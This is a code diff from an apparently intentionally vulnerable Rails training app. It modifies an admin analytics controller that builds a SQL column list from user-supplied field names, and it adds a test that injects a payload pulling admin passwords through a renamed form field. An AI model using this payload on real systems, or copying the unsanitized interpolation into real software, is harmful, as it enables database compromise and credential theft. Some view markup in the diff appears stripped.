diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 7b7c7bd..f009299 100755 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -9,7 +9,7 @@ class AdminController < ApplicationController if params[:field].nil? fields = "*" else - fields = params[:field].map {|k,v| k }.join(",") + fields = custom_fields.join(",") end if params[:ip] @@ -60,6 +60,11 @@ class AdminController < ApplicationController private + def custom_fields + params.require(:field).keys + end + helper_method :custom_fields + def admin_param params[:admin_id] != '1' end diff --git a/app/views/admin/analytics.html.erb b/app/views/admin/analytics.html.erb index be676a0..e088076 100644 --- a/app/views/admin/analytics.html.erb +++ b/app/views/admin/analytics.html.erb @@ -1,18 +1,18 @@ -
- Search by IP:
- IP Address
- Referrer
- User Agent + + Search by IP:
+ IP Address
+ Referrer
+ User Agent
- +
" id="data-table"> <% - count = (params[:field] ? params[:field].count : 3) + count = (params[:field] ? (custom_fields.count+1) : 6) count.times do %> - + <% end %> @@ -33,6 +33,8 @@ +<%= javascript_include_tag "jquery.dataTables.js"%> + \ No newline at end of file + diff --git a/spec/vulnerabilities/sql_injection_spec.rb b/spec/vulnerabilities/sql_injection_spec.rb index b8b95b6..6426b13 100644 --- a/spec/vulnerabilities/sql_injection_spec.rb +++ b/spec/vulnerabilities/sql_injection_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' feature 'sql injection' do - before do + before(:each) do UserFixture.reset_all_users @normal_user = UserFixture.normal_user @admin_user = User.where("admin='t'").first @@ -28,4 +28,24 @@ feature 'sql injection' do expect(@admin_user.email).to eq('joe.admin@schmoe.com') expect(@admin_user.admin).to eq(true) end + + scenario "attack\nTutorial: https://github.com/OWASP/railsgoat/wiki/A1-SQL-Injection-Interpolation", js: true do + login(@normal_user) + Analytics.create!(ip_address: "::1") + + visit "/admin/1/analytics" + + within('#analytics_search') do + fill_in 'ip', :with => '::1' + check "field_user_agent" + payload = "(select group_concat(password) from users where admin='t')" + + page.execute_script "$('#field_user_agent').attr('name', \"field[#{payload}]\");" + page.execute_script "$('#analytics_search').submit();" + end + + pending if verifying_fixed? + expect(page).to have_css(".dataTable.custom") + expect(page.source).to include(@admin_user.password) + end end